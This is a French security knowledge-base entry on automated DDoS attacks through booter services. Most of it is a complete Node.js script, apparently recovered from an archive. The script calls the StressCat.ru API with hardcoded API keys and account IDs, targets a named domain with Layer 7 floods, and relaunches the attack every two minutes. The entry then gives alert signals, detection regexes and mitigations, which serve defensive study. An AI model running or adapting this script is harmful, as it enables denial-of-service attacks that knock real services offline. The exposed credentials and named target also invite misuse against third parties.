Explorer
KNOW-PAT-049

Automatisation d'attaques DDoS via APIs de stress

Domaine
cybersecu
Type
pattern
Priorité
P2

Parent : [[INDEX-CYBERSECU]]

Automatisation d'attaques DDoS via APIs de stress

Problème

Les attaquants utilisent des services de "stress testing" (Booters) comme StressCat.ru pour orchestrer des attaques DDoS automatisées contre des concurrents, via des scripts Node.js avec cron jobs.

Solution

Détecter les patterns d'appels API vers des services de stress, les URLs générées avec paramètres aléatoires, et les automatisations temporelles.

Implémentation

Script d'attaque - Archive Ygg

// generate-tracker-url.js
const crypto = require('crypto');
const https = require('https');

function generateTrackerURL(host, announcePath = '/announce') {
    // Génération de paramètres torrent faux
    const passkey = crypto.randomBytes(16).toString('hex');
    const infoHash = Array.from(crypto.randomBytes(20))
        .map(b => `%${b.toString(16).toUpperCase().padStart(2, '0')}`)
        .join('');
    const peerId = `-qB4650-${crypto.randomBytes(12).toString('base64').replace(/[^a-zA-Z0-9]/g, '').substring(0, 12)}`;
    const port = Math.floor(Math.random() * 16384) + 49152;
    const left = Math.floor(Math.random() * 10000000000);
    
    // URL de tracker avec paramètres randomisés
    return `https://${host}${announcePath}/${passkey}?info_hash=${infoHash}&peer_id=${peerId}&port=${port}&uploaded=0&downloaded=0&left=${left}&event=started&compact=1&numwant=%RAND%`;
}

function callStressCatAPI(host, targetURL, apiKey, userId, time, concurrents, method = 'REVUELTO') {
    return new Promise((resolve, reject) => {
        // Construction de l'URL d'attaque
        const encodedTarget = encodeURIComponent(targetURL);
        const apiURL = `https://api.stresscat.ru/start?api_key=${apiKey}&user=${userId}&source_stopper=panel&method=${method}&target=${encodedTarget}&time=${time}&concurrents=${concurrents}&http=2&requestmethod=GET&flood_module=rage`;
        
        console.log(`[${host}] Generated Tracker URL:\n${targetURL}\n`);
        console.log(`[${host}] API URL:\n${apiURL}\n`);
        
        https.get(apiURL, (res) => {
            let data = '';
            res.on('data', (chunk) => { data += chunk; });
            res.on('end', () => {
                console.log(`[${host}] API Response (${res.statusCode}):`);
                console.log(data);
                
                if (res.statusCode >= 200 && res.statusCode < 300) {
                    logToFile(host, targetURL, apiURL, 'SUCCESS');
                    resolve({ host, success: true, data });
                } else {
                    logToFile(host, targetURL, apiURL, 'FAILED');
                    reject({ host, success: false, statusCode: res.statusCode, data });
                }
            });
        }).on('error', (err) => {
            console.error(`[${host}] Error: ${err.message}\n`);
            logToFile(host, targetURL, apiURL, 'ERROR');
            reject({ host, success: false, error: err.message });
        });
    });
}

async function sendRequests() {
    // Configuration des attaques
    const API_KEY = process.env.STRESSCAT_API_KEY || 'BHIhrRSG7M';
    const API_KEY_2 = process.env.STRESSCAT_API_KEY_2 || 'XxQCXrjNZI';
    const USER_ID = process.env.STRESSCAT_USER_ID || '71802';
    const USER_ID_2 = process.env.STRESSCAT_USER_ID_2 || '70159';
    const TIME = parseInt(process.env.ATTACK_TIME) || 1800;  // 30 min
    const CONCURRENTS = 50;
    
    // Cibles : concurrents de YggTorrents
    const targets = [
        { host: 'la-cale.space', path: '/announce', apiKey: API_KEY, userId: USER_ID, method: 'REVUELTO' },
        { host: 'la-cale.space', path: '/login', apiKey: API_KEY, userId: USER_ID, method: 'TESTAROSSA' },
    ];
    
    for (const target of targets) {
        const trackerURL = target.path === '/login' 
            ? `https://${target.host}${target.path}?cf=%RAND%` 
            : generateTrackerURL(target.host, target.path);
            
        try {
            await callStressCatAPI(target.host, trackerURL, target.apiKey, target.userId, TIME, CONCURRENTS, target.method);
        } catch (error) {
            console.error(`Failed: ${target.host}`);
        }
    }
}

// Automation cron
console.log('Starting cron job - sending requests every 2 minutes...\n');
sendRequests();

setInterval(() => {
    console.log(`[${new Date().toISOString()}] Running scheduled attack...\n`);
    sendRequests();
}, 2 * 60 * 1000);  // Toutes les 2 minutes

Méthodes d'attaque

REVUELTO   : HTTP Layer 7 flood
TESTAROSSA : Application layer attack

Schéma de l'infrastructure d'attaque

┌─────────────────┐     ┌─────────────────┐     ┌─────────────────┐
│   Script Node   │────▶│  StressCat.ru   │────▶│   Botnet        │
│   (cron job)    │     │   API (Booter)  │     │   (infectés)    │
└─────────────────┘     └─────────────────┘     └────────┬────────┘
                                                         │
                              ┌──────────────────────────┘
                              ▼
                    ┌─────────────────┐
                    │   Cible : la-     │
                    │   cale.space      │
                    │   (concurrent)    │
                    └─────────────────┘

Signaux d'alerte

  • URLs stress API : stresscat.ru, booter, stresser
  • Paramètres d'attaque : concurrents=50, time=1800, flood_module
  • Méthodes d'attaque : REVUELTO, TESTAROSSA, L7, UDP
  • Randomisation : info_hash, peer_id, passkey générés aléatoirement
  • User IDs : 71802, 70159 - identifiants de compte booter
  • API Keys hardcodées : BHIhrRSG7M, XxQCXrjNZI
  • Cron jobs : setInterval avec délais courts (2 min)
  • Log files : tracker-urls.log pour traçabilité des attaques

Détection

// Pattern matching pour scripts d'attaque
const DDOS_PATTERNS = {
  stress_api: /api\.(stresscat|booter|stresser)\./,
  attack_params: /concurrents\s*=\s*\d+|flood_module|time\s*=\s*\d{3,}/,
  methods: /REVUELTO|TESTAROSSA|L7_FLOOD|UDP_FLOOD/,
  random_urls: /randomBytes.*toString.*hex.*info_hash/,
  automation: /setInterval.*sendRequests|cron.*attack/
};

function detectDDoSScript(code) {
  let score = 0;
  for (const [name, pattern] of Object.entries(DDOS_PATTERNS)) {
    if (pattern.test(code)) score += 1;
  }
  return { risk: score >= 3 ? 'CRITICAL' : score >= 2 ? 'HIGH' : 'LOW', score };
}

Comment se prot[ée]ger

  • Rate limiting par IP + par utilisateur (token bucket)
  • WAF / Cloudflare en frontal (mode under-attack)
  • Auto-scaling + health checks
  • Circuit breaker sur les endpoints co[û]teux
  • Monitoring traffic + alerting seuil anormal

Références

  • Archive Ygg : 06_ACTIVITE_MALVEILLANTE/06a_ddos/generate-tracker-url.js
  • Service : stresscat.ru (booter/stresser)
  • Technique : DDoS-as-a-Service, Layer 7 flood, cron automation